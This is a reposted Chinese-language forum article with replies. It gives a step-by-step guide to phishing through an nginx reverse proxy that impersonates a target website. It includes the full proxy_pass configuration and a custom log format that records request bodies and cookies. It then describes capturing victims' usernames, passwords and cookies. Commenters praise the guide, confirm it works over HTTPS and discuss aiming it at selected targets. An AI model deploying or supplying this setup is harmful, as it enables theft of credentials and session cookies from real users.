【转载】 nginx反向代理钓鱼——initsec;初始安全(微信公众号)

文章来源:https://mp.weixin.qq.com/s/bCmEjZ0bQgN5MeFOZm_4_g

前言

Nginx 反向代理确实用得很多,之前也写过如何配置反向代理,可参考《nginx 反向代理配置[1]》

反向代理钓鱼原理

相当于所有流量会先到我们服务器上,然后再到目标服务器上,那么就可以当中间人获取所有的流量,当然也就包括各类凭证信息了。

搭建过程

环境

  • ubuntu
  • Nginx(sudo apt-get install nginx -y)

确认是否安装成功

nginx -v
# 下面这个可以看到配置文件的路径等,可以用于应急
nginx -V

启动 nginx

service nginx start

配置反代

反代配置文件

创建单独的反代配置文件

vim /etc/nginx/sites-enabled/reverse-proxy.conf

写入如下内容:

server
{
    listen 8081; # 监听端口
    server_name 1.2.3.4; # 本机真实IP
    location / {
        proxy_pass http://13.234.127.46:8001/; # 反代的网站,即想要伪造的网站
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
    access_log /var/log/nginx/access_log_8081.log testLog; # 日志保存位置,testLog为自定义的日志格式
}

引用配置文件

编辑 /etc/nginx/nginx.conf,在 http{}中添加 2。句话,比如在

include /etc/nginx/mime.types;
default_type application/octet-stream;

两行下面添加 2 句:

log_format testLog escape=json '$request_filename $http_x_forwarded_for $fastcgi_script_name $document_root $request_body' $http_cookie;
include /etc/nginx/sites-enabled/reverse-proxy.conf;

这样就可以把反向代理配置文件引用到,接着重启即可

service nginx restart

效果演示

原网站/要伪造的网站:

使用反向代理访问的效果,可见一模一样

在我们搭建的反代服务器中输入账号密码,可见成功记录了账号、密码和 Cookie 值

参考资料

[1]nginx反向代理配置: https://blog.gm7.org/个人知识库/99.暂未分类/05.nginx/nginx反向代理配置.html

  • END -
6 个赞

太强了,大佬

感谢佬友分享

https也可以吗?

这当然也是可以的呀,因为你是输入的nginx服务器的域名访问的网站,而不是输入的网站域名

1 个赞

刚试了是可以。就是太大了,如果对超大流量的站做这事,扛不住感觉。

感谢大佬分享 :bili_043:

关键在于,你既然只是用于钓鱼,那肯定是针对某些人,这样用户量下来了应该就能抗住

1 个赞